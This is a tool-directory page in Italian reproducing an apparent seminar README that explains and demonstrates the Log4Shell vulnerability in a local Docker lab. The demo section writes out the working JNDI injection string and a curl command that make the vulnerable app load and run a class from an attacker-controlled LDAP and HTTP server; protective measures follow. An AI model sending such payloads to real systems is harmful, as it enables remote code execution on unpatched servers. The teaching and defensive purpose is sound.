Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
hka-seminar-log4shell — Dimostrazione pratica della vulnerabilità Log4Shell (CVE-2021-44228) | Kitploit
Strumenti/GitHubGitHub/fabioeletto/hka-seminar-log4shell
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubfabioeletto/hka-seminar-log4shell

hka-seminar-log4shell

Dimostrazione pratica della vulnerabilità Log4Shell (CVE-2021-44228)

Vedi Repository
1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Seminararbeit - Log4Shell-Schwachstellen-Demonstration (CVE-2021-44228)

Avviso di sicurezza

Questo repository è destinato esclusivamente a scopi educativi e dimostrativi nell'ambito di un lavoro seminariale sulla sicurezza. Non utilizzare questo codice in ambienti di produzione o contro sistemi senza autorizzazione esplicita. La configurazione ha lo scopo di promuovere la consapevolezza della sicurezza e mostrare come vulnerabilità complesse possano nascere quando funzionalità apparentemente innocue come logging, risoluzione dei nomi e caricamento dinamico di classi vengono combinate tra loro.

Indice

  • 1. Descrizione del progetto

    • 1.1 Obiettivo del lavoro seminariale
    • 1.2 Panoramica della dimostrazione
  • 2. Cos'è Log4Shell?

  • 3. Componenti tecnici in dettaglio

    • 3.1 Log4j - Funzionamento
    • 3.2 JNDI - Meccanismo di Lookup
    • 3.3 LDAP - Struttura e ruolo
    • 3.4 Flusso generale di Log4Shell
  • 4. Struttura del progetto e setup

    • 4.1 Panoramica delle directory
    • 4.2 Prerequisiti
    • 4.3 Setup
  • 5. Demo del progetto

  • 6. Misure di protezione

  • 7. Conclusione

  • 8. Fonti

1. Descrizione del progetto

1.1 Obiettivo del lavoro seminariale

L'obiettivo di questo lavoro seminariale è fornire una comprensione approfondita della vulnerabilità Log4Shell (CVE-2021-44228), resa nota nel dicembre 2021 e classificata come una delle vulnerabilità di sicurezza più critiche degli ultimi anni. Il lavoro spiega sia le basi teoriche, sia presenta una dimostrazione pratica della vulnerabilità.

1.2 Panoramica della dimostrazione

Per illustrare praticamente la vulnerabilità Log4Shell, in questo repository è stato allestito un ambiente isolato e containerizzato che riproduce l'intero flusso di attacco in modo riproducibile. La dimostrazione si basa su tre componenti centrali:

  • vulnerable-app: Un'applicazione Spring Boot volutamente vulnerabile con Log4j versione 2.14.1. Essa registra l'intestazione User-Agent dalla richiesta HTTP, che gli attaccanti possono manipolare per sfruttare la vulnerabilità.
  • ldap-server: Un fork del noto tool marshalsec, che funge da server LDAP. Questo server è sotto il controllo dell'attaccante e fornisce un riferimento a una classe Java dannosa che verrà successivamente eseguita.
  • payload-server: Un semplice server HTTP che distribuisce una classe Java dannosa (Exploit.class). Come il server LDAP, anche questo server è sotto il controllo dell'attaccante.

Nota: Informazioni dettagliate sul setup e sull'esecuzione della dimostrazione si trovano nelle sezioni 4. Struttura del progetto e setup e 5. Demo del progetto.

2. Cos'è Log4Shell?

Log4Shell è il nome di una vulnerabilità di sicurezza critica nella libreria Java Log4j identificata come CVE-2021-44228. Consente a un attaccante di eseguire codice arbitrario su un server remoto (Remote Code Execution, RCE) con il minimo sforzo.

La vulnerabilità riguarda Log4j nelle versioni 2.0 fino a 2.14.1 ed è così grave che è stata classificata con il livello di rischio più alto da molte autorità di sicurezza, incluso il BSI (Ufficio federale per la sicurezza informatica).

Log4Shell è particolarmente pericolosa perché...

  • Log4j è estremamente diffuso. Viene utilizzato da server di gioco fino ad applicazioni enterprise.
  • Non è necessaria alcuna autenticazione; qualsiasi attaccante esterno anonimo può potenzialmente causare danni.
  • Il vettore di attacco è banale: spesso è sufficiente inviare una stringa manipolata all'applicazione.
  • La funzionalità in Log4j per sfruttare questa vulnerabilità è abilitata per impostazione predefinita.

La causa principale risiede in una funzionalità di Log4j che consente di caricare contenuti dinamici nei messaggi di log tramite i cosiddetti Lookup. In combinazione con JNDI (Java Naming and Directory Interface) e il protocollo LDAP (Lightweight Directory Access Protocol), ciò permette di caricare ed eseguire classi Java dannose remote.

La scoperta e la pubblicazione della vulnerabilità hanno scatenato un'ondata di sicurezza a livello mondiale. Molti sistemi hanno dovuto essere immediatamente patchati o spenti. Nel periodo successivo sono state scoperte ulteriori vulnerabilità correlate (ad es. CVE-2021-45046), dimostrando quanto profonda e pericolosa fosse la problematica.

Di seguito, le tecnologie coinvolte e la loro interazione vengono spiegate in dettaglio per sviluppare una comprensione più approfondita della vulnerabilità.

3. Componenti tecnici in dettaglio

3.1 Log4j - Funzionamento

Log4j è una libreria creata da Apache per la registrazione di eventi in applicazioni Java. Il logging è uno strumento centrale nello sviluppo software per monitorare i sistemi o analizzare gli errori. Log4j è uno dei framework di logging più conosciuti e utilizzati nell'ecosistema Java, impiegato sia in piccole applicazioni che in grandi sistemi aziendali.

Perché il logging?

Mentre un programma è in esecuzione, si verificano ad esempio i seguenti eventi:

  • richieste utente
  • cambiamenti di stato interni
  • messaggi di errore

Questi eventi possono essere documentati con log, solitamente come output testuale nella console, in file o tramite protocolli di rete verso server di log centralizzati. Un logging appropriato consente di tracciare cosa ha fatto un'applicazione e quando.

Cosa offre Log4j?

Log4j fornisce un'infrastruttura flessibile e altamente configurabile per la generazione e l'elaborazione di messaggi di log. Tra le funzionalità principali:

  • Livelli di log: Esistono diversi livelli di importanza (ad es. DEBUG, INFO, WARN, ERROR) che permettono di controllare quanto dettagliato debba essere il logging.
  • Appender: L'output dei log può essere indirizzato a diverse destinazioni (ad es. console, file o server remoti).
  • Layout: Con i layout si può definire il formato del messaggio di log (ad es. timestamp, thread, messaggio).

Ulteriori funzionalità rilevanti per il lavoro seminariale verranno trattate nelle sezioni successive, in particolare la funzionalità dei placeholder e la funzionalità di Lookup.

Esempio semplice```java

import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;

public class Example { private static final Logger logger = LogManager.getLogger();

root@kitploit:~
public static void main(String[] args) {
    logger.info("Starte Anwendung...");
}

}

root@kitploit:~
In questo semplice esempio viene creata o recuperata un'istanza di Logger, se già esistente. Successivamente viene emesso un messaggio di log a livello `INFO`. Log4j gestisce la formattazione e l'output del messaggio in base alla configurazione. Una configurazione di esempio potrebbe essere la seguente:```xml
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

Questa configurazione definisce un Appender che stampa i messaggi di log nel formato Datum Uhrzeit Log-Level Loggername - Nachricht sulla console. Questo Appender viene quindi assegnato al logger radice, che elabora tutti i messaggi di log a partire dal livello INFO.

L'output potrebbe quindi apparire come:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...

root@kitploit:~
Passiamo ora alle caratteristiche specifiche di Log4j che sono più rilevanti per la vulnerabilità Log4Shell.

#### Segnaposto nei messaggi di log

Una caratteristica particolarmente utile di Log4j è il supporto per i **segnaposto** nei messaggi di log. Questi consentono di inserire contenuti dinamici in fase di esecuzione nell'output del log:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);

In questo caso, a runtime, {} viene sostituito dal valore effettivo della variabile username. Ciò porta al seguente output:```text "Benutzer angemeldet: Alice"

root@kitploit:~
#### Espressioni dinamiche chiamate Lookup

Oltre ai semplici segnaposto, Log4j offre anche la possibilità di risolvere espressioni più complesse direttamente nel messaggio di log. Questa funzione si chiama **Lookup**: consente di inserire dinamicamente valori in fase di esecuzione (ad es. variabili d'ambiente, informazioni di sistema o valori di configurazione)

Esempi di tali espressioni dinamiche:

- `${env:HOME}` - restituisce il valore della variabile d'ambiente `HOME`. Su Linux/macOS sarebbe ad esempio `/home/username`.
- `${docker:...}` - potrebbe fornire informazioni sul contenitore Docker in cui l'applicazione è in esecuzione.
- `${jndi:...}` - esegue un lookup JNDI per caricare risorse interne o esterne.

Nella prossima sezione verrà esaminata più da vicino la funzionalità JNDI, poiché gioca un ruolo centrale nella vulnerabilità Log4Shell.

### 3.2 JNDI - Meccanismo di Lookup

**JNDI** sta per _Java Naming and Directory Interface_ ed è un'API Java standardizzata che consente di accedere a **servizi di nomi e directory**. Con JNDI, le applicazioni Java possono fare riferimento a risorse non tramite percorsi tecnici diretti, ma tramite nomi simbolici.

Un uso classico di JNDI è la ricerca di connessioni al database, come si vede qui:```java
public class JndiExample {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
        // Datenbankverbindung verwenden
    }
}

Per prima cosa viene creato un InitialContext, che rappresenta il punto di ingresso per la risoluzione dei nomi tramite JNDI. Successivamente, tramite il metodo lookup, viene cercata una risorsa. In questo caso un'origine dati (DataSource) con il nome simbolico java:/comp/env/jdbc/myDB.

Quali vantaggi offre JNDI?

  • Disaccoppiamento tra applicazione e infrastruttura: Le configurazioni non devono essere inserite nel codice, ma possono essere gestite centralmente su un server.
  • Riutilizzabilità e portabilità: Un'applicazione può funzionare senza problemi in più ambienti (ad es. sviluppo, test, produzione) senza dover modificare il codice. È sufficiente adattare i rispettivi file di configurazione.
  • Flessibilità: JNDI è indipendente dal protocollo, viene fornita solo un'interfaccia e la comunicazione effettiva è gestita in background da un cosiddetto Service Provider. In questo modo JNDI può accedere a diversi servizi, non solo LDAP, ma anche RMI, DNS, CORBA, ecc.

Struttura di JNDI

Struttura JNDI

L'applicazione Java utilizza l'interfaccia indipendente dal protocollo di JNDI, che contiene classi come InitialContext, con il metodo lookup. L'API è sempre la stessa, sia che si utilizzi LDAP, DNS, ecc. Il Naming Manager funge da intermediario e seleziona il Service Provider appropriato, che gestisce la comunicazione effettiva. Il JNDI SPI (Service Provider Interface) è una raccolta di classi che implementano le funzionalità JNDI per vari protocolli. Nel nostro caso, il Service Provider rilevante è LDAP.

Nella prossima sezione esamineremo più da vicino il Service Provider LDAP.

3.3 LDAP - Struttura e ruolo

LDAP sta per Lightweight Directory Access Protocol ed è un protocollo di rete standardizzato che consente l'accesso a quelli che vengono chiamati servizi di directory. È stato sviluppato originariamente come alternativa leggera a X.500 ed è oggi uno standard in molte reti aziendali, specialmente per la gestione centralizzata di utenti e permessi.

Cos'è un servizio di directory?

Un servizio di directory è un database strutturato che memorizza informazioni in forma gerarchica. A differenza dei database relazionali, una directory è:

  • prevalentemente orientata alla lettura
  • fortemente gerarchica (come un filesystem)
  • ottimizzata per accesso rapido a dati di identità o configurazione

Struttura di una directory LDAP

Albero LDAP

Come si vede nell'immagine, una directory LDAP è organizzata in una struttura ad albero. Al livello radice si trovano i Domain Components (dc). Al di sotto possono esserci Organizational Units (ou) che rappresentano ulteriori suddivisioni, come ad esempio Users. Per singoli utenti o oggetti ci sono poi i Common Names (cn), che identificano la voce specifica e possono contenere vari attributi.

Significato:

  • dn: Distinguished Name
  • dc: Domain Component
  • ou: Organizational Unit
  • cn: Common Name

Vediamo ora come viene contattato LDAP e che ruolo gioca nella vulnerabilità Log4Shell.

Come viene contattato LDAP?

In LDAP è possibile memorizzare anche riferimenti a classi esterne, che possono essere caricate successivamente al bisogno. Questo avviene tramite attributi speciali come javaClassName e javaCodeBase. Questi attributi possono puntare a un URL da cui caricare una classe Java.

Con il seguente URL possiamo ad esempio interrogare un oggetto che fa riferimento a una classe Java:``` ldap://ldap-server:1389/Exploit

root@kitploit:~
![LDAP Eintrag](https://assets.kitploit.com/production/public/readmes/25332/c60420b9b33a1189fd949bcf725f4ca7c3d4bdcd25f03cd50b715ceac5f95d24.png)

Come si vede nell'immagine, la voce LDAP contiene un attributo `javaClassName` che fa riferimento alla classe `Exploit`. Con l'attributo `javaCodeBase` viene specificato l'URL da cui caricare la classe. In questo caso si tratta di un server HTTP con indirizzo `http://payload-server/` che fornisce la classe `Exploit.class`.

Ora abbiamo esaminato tutti i componenti tecnici in dettaglio. Nella prossima sezione verrà descritto il flusso generale della vulnerabilità Log4Shell, per comprendere come queste tecnologie interagiscono e quale vettore d'attacco ne deriva.

### 3.4 Flusso generale di Log4Shell

Dopo aver esaminato singolarmente le tre tecnologie coinvolte, **Log4j** come framework di logging, **JNDI** come interfaccia per il servizio di directory e **LDAP** come servizio di directory concreto, diventa ora evidente quanto pericolosa possa essere la loro combinazione se non sono state adottate misure di sicurezza.

Nelle versioni di Log4j fino alla 2.14.1 era possibile far valutare i cosiddetti **Lookup** direttamente nei messaggi di log. Di conseguenza, potevano essere integrate query JNDI tramite LDAP, che poi potevano caricare ed eseguire classi Java arbitrarie da un server remoto, senza aver esplicitamente attivato questa funzionalità.

#### Scenario concreto nell'interazione:

Ora mettiamo in pratica quanto appena appreso in un esempio concreto. Come primo passo avviamo una ricerca JNDI con la seguente espressione:```text
${jndi:...}

Setzten wir nun den LDAP-Service Provider ein, um eine entfernte Java-Klasse zu laden ldap://ldap-server:1389/Exploit. Zusammen ergibt sich folgende Zeichenkette:```text ${jndi:ldap://ldap-server:1389/Exploit}

root@kitploit:~
Ora non resta che un attaccante faccia in modo che questa stringa finisca in un messaggio di log, ad esempio manipolando un'intestazione HTTP.

![Log4Shell-Ablauf](https://assets.kitploit.com/production/public/readmes/25332/ddb8ced01e0021cba8c16ee86816856e4b81aeccee27832fe7489f4fc4cccfab.png)

Come si vede nell'immagine, a sinistra c'è l'attaccante che ospita un proprio server LDAP e un server di payload. A destra si trova l'applicazione vulnerabile con Log4j versione 2.14.1. Il flusso dell'attacco è il seguente:

1. Un attaccante invia una richiesta HTTP all'applicazione e inserisce la stringa manipolata mostrata sopra, ad esempio, nell'intestazione `User-Agent`:   ```http
   User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
  1. L'applicazione registra l'header User-Agent: ```java logger.info("User-Agent: {}", request.getHeader("User-Agent"));
    root@kitploit:~

Log4j riconosce ${jndi:...} ed esegue automaticamente una ricerca JNDI tramite il protocollo ldap specificato

  1. Ora viene invocato il provider del servizio LDAP per risolvere l'URL specificato ldap://ldap-server:1389/Exploit.

  2. Il server LDAP risponde con un riferimento a una classe Java esterna (Exploit.class), che si trova sul seguente server: ``` http://payload-server:8000/Exploit.class

    root@kitploit:~
  3. L'applicazione invia una richiesta al server di payload per caricare la Exploit.class.

  4. Il server di payload risponde con la classe Java Exploit.class. Successivamente, questa classe viene eseguita senza alcuna validazione. L'attaccante ha quindi il controllo completo sul codice eseguito sul server vulnerabile.

Perché funziona?

Perché:

  • Log4j interpreta il messaggio di log anziché limitarsi a stamparlo
  • JNDI consente internamente una connessione a qualsiasi provider di servizi
  • il Class Loader esegue codice esterno senza restrizioni.

L'interazione tra lookup dinamici in Log4j, risoluzione flessibile dei nomi tramite JNDI e il protocollo LDAP crea una superficie di attacco inaspettata. Ciò che era originariamente pensato come una potente funzionalità di configurazione è diventato un punto d'ingresso per l'esecuzione remota di codice.

Nella prossima sezione verranno descritte la struttura del progetto e l'impostazione della demo per eseguire localmente la vulnerabilità.

4. Struttura del progetto e setup

4.1 Panoramica delle directory

La struttura del progetto riflette le tre componenti principali:```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...

root@kitploit:~
### 4.2 Prerequisiti

Per eseguire la demo Log4Shell in locale, sono necessari i seguenti prerequisiti:

#### Docker & Docker Compose

L'intera infrastruttura è basata su container. Docker garantisce che ogni componente (vulnerable-app, ldap-server, payload-server) venga eseguito in un ambiente isolato.

- **Docker**:  
  Installazione su [https://www.docker.com/get-started](https://www.docker.com/get-started)

- **Docker Compose** (già incluso in Docker Desktop)  
  Installabile alternativamente tramite [https://docs.docker.com/compose/](https://docs.docker.com/compose/)

#### cURL

Per eseguire l'attacco tramite riga di comando, è possibile utilizzare lo strumento `curl`:

- Già preinstallato su Linux/macOS
- Su Windows tramite [https://curl.se/](https://curl.se/) o incluso in Git Bash

> **Nota:** L'applicazione e tutti i server inclusi vengono eseguiti localmente sul tuo computer e comunicano esclusivamente all'interno di una rete Docker isolata (`log4shell-network`). Non è necessaria né viene stabilita alcuna connessione a server esterni.

### 4.3 Configurazione

In questa sezione viene descritto come configurare e avviare l'ambiente locale.

#### Passo 1: Clonare il repository```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell

Passaggio 2: Creare e avviare i container

Con Docker Compose, tutti i servizi necessari possono essere avviati con un unico comando:```bash docker-compose up --build

root@kitploit:~
`docker-compose up --build` provoca:

- Le immagini per `vulnerable_app`, `ldap_server` e `payload_server` vengono costruite
- Tutti e tre i servizi vengono avviati
- Comunicano attraverso una rete Docker interna condivisa (`log4shell-network`)

Dopo un avvio riuscito, l'applicazione è raggiungibile al seguente endpoint:```
http://localhost:8080

I log e gli eventi vengono visualizzati in tempo reale nella console. I container rimangono in esecuzione finché la finestra del terminale è aperta (o il processo è in esecuzione in background).

Nota: Assicurarsi che nessun altro servizio sia in esecuzione sulle porte 8080, 1389 o 8000 per evitare conflitti.

Se si desidera chiudere i container, è possibile farlo con docker-compose down. Questo fermerà e rimuoverà tutti i container in esecuzione, ma le immagini rimarranno.

5. Demo del progetto

In questa sezione viene mostrato come attivare intenzionalmente la vulnerabilità Log4Shell nell'ambiente demo fornito. Tutti i componenti avviati in precedenza collaborano:

  • L'vulnerable-app registra l'header User-Agent con Log4j
  • Il ldap-server restituisce un riferimento manipolato
  • Il payload-server fornisce la classe Java vera e propria (Exploit.class)

Attacco passo passo

Per eseguire la demo sono necessarie due finestre del terminale. Avviare prima l'ambiente con docker-compose up --build in un terminale, se non lo si è già fatto. In un secondo terminale eseguire quindi i passaggi seguenti:

  1. Verificare che il file non esista ancora:

    Poiché si tratta di una demo, come exploit viene creato solo un file vuoto per dimostrare l'esecuzione riuscita. Lo si può vedere dalla classe payload-server/Exploit.java. Per verificare che il file non esista ancora, eseguire il seguente comando: ```bash docker exec vulnerable_app ls -l /tmp/remote_code_execution

    root@kitploit:~

Se il file non esiste, dovrebbe apparire un messaggio di errore come No such file or directory. Ciò conferma che l'exploit non è stato ancora eseguito.

  1. Inviare la stringa manipolata all'applicazione: ```bash curl -X GET -H 'User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}' http://localhost:8080
    root@kitploit:~

Spiegazione del payload:

  • ${jndi:...}: Log4j interpreta automaticamente questa espressione ed esegue una ricerca JNDI.
  • ldap://ldap-server:1389: Si connette al server LDAP in esecuzione nella rete Docker.
  • /Exploit: Nome della voce LDAP che punta alla classe dannosa.
  • http://localhost:8080: L'URL dell'applicazione vulnerabile a cui inviare la richiesta per innescare la vulnerabilità Log4j.
  1. Cosa succede in background?

    Output della console Log4Shell

    • L'applicazione riceve la richiesta e vuole registrare l'intestazione User-Agent
    • Log4j analizza l'intestazione User-Agent ed esegue una ricerca JNDI tramite LDAP
    • Il server LDAP punta a una Exploit.class remota fornita dal server payload
    • L'applicazione carica la classe dal server payload e la esegue
    • Alla fine, il messaggio di log originale viene registrato con il contenuto dinamico

Nota: Come già menzionato, in questa demo viene creata solo un file vuoto per dimostrare l'esecuzione riuscita. In scenari di attacco reali, potrebbe essere eseguito codice arbitrario!

  1. Verificare la sequenza dell'attacco

    Ora puoi verificare nuovamente se il file /tmp/remote_code_execution è stato creato nel container: ```bash docker exec vulnerable_app ls -l /tmp/remote_code_execution

    root@kitploit:~

Se l'attacco ha avuto successo, dovreste vedere il seguente output: ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution

root@kitploit:~
Con una singola riga di log manipolata viene attivato un processo completo di esecuzione remota di codice, questo è ciò che rende Log4Shell così pericoloso. Questa demo mostra come l'interazione di **Log4j**, **JNDI** e **LDAP** possa portare allo sfruttamento.

## 6. Misure di protezione

La vulnerabilità Log4Shell ha dimostrato quanto profondamente le applicazioni moderne possano essere compromesse da funzionalità apparentemente innocue. Per proteggere efficacemente i sistemi da tali attacchi, dovrebbero essere implementate le seguenti misure:

- **Aggiornare la versione di Log4j (almeno 2.17.1)**

La misura più importante è **l'aggiornamento a una versione di Log4j ≥ 2.17.1**, perché solo da questa versione in poi sono state corrette tutte le vulnerabilità note (incluse DoS ed exploit di configurazione). Le versioni precedenti sono ancora vulnerabili e non dovrebbero più essere utilizzate!

- **Disattivare le ricerche JNDI**

Se un aggiornamento completo non è possibile, è necessario **disattivare le ricerche JNDI**. Ciò può essere ottenuto nel file `log4j2.properties` impostando la seguente configurazione:  ```properties
log4j2.formatMsgNoLookups=true

Questa impostazione impedisce a Log4j di valutare i JNDI lookup nei messaggi di log. In questo modo la superficie di attacco viene notevolmente ridotta. Tuttavia, questo è solo un workaround temporaneo, poiché altre vulnerabilità possono ancora persistere (DoS, exploit di configurazione).

  • Validare gli input

    Tutti gli input utente dovrebbero essere validati e sanificati prima di essere utilizzati nei messaggi di log. In particolare, espressioni dinamiche come ${jndi:...} non dovrebbero essere accettate direttamente.

  • Limitare le connessioni di rete in uscita

    Un elemento centrale dell'exploit era l'accesso senza restrizioni a server esterni controllati dall'attaccante. I sistemi dovrebbero essere configurati in modo da non poter raggiungere destinazioni esterne arbitrarie, ad esempio tramite firewall o policy di rete. In particolare, l'accesso a destinazioni LDAP sconosciute dall'applicazione dovrebbe essere bloccato.

7. Conclusione

La vulnerabilità Log4Shell mostra in modo impressionante quanto sia importante non affidarsi solo alla sicurezza del proprio codice, ma anche selezionare e comprendere attentamente le librerie e i framework utilizzati. In questo caso, una libreria di logging apparentemente innocua (Log4j) ha portato a una vulnerabilità di remote code execution. Questo dimostra che anche le dipendenze possono diventare un punto di ingresso per exploit. Ci si dovrebbe sempre chiedere se una libreria esterna è davvero necessaria o se una funzione può essere implementata senza dipendenze aggiuntive.

Un altro punto importante è il tema della complessità nascosta. Funzioni come ${env:HOME} all'interno di un messaggio di log sembrano innocue, ma nascondono meccanismi complessi in background, come i lookup dinamici. In questo modo può insinuarsi inosservato un comportamento pericoloso. In alternativa, si dovrebbero preferire soluzioni esplicite e trasparenti, come System.getenv("HOME"), così si mantiene il controllo e si può capire cosa succede.

Inoltre, vale un principio generale ma spesso trascurato: non processare mai input utente senza verifica. Soprattutto in operazioni critiche per la sicurezza come logging, accessi al database o comandi di sistema, gli input devono essere validati e sanificati.

Non da ultimo, l'incidente mostra quanto possa essere pericoloso avere funzionalità potenti come i JNDI lookup attivate per impostazione predefinita. Se in Log4j questa funzione non fosse stata attivata di default, solo un piccolo sottoinsieme di sistemi sarebbe stato interessato.

I principali insegnamenti:

  • Le vulnerabilità di sicurezza possono nascondersi anche in librerie apparentemente innocue.
  • Valutare se le librerie esterne sono davvero necessarie.
  • Evitare la complessità nascosta.
  • Non processare mai input utente senza verifica.
  • Funzionalità potenti come i JNDI lookup non dovrebbero essere attivate per impostazione predefinita.

8. Fonti

  • CVE-2021-44228 – National Vulnerability Database (NVD)
  • Avviso del BSI su Log4Shell
  • Documentazione di Log4j
  • Concetti JNDI
  • Panoramica JNDI
  • Introduzione a LDAP (RFC 4511)
  • LDAP
  • Log4Shell
  • Video Log4Shell Parte 1
  • Video Log4Shell Parte 2
  • Fork marshalsec
Scarica lo strumento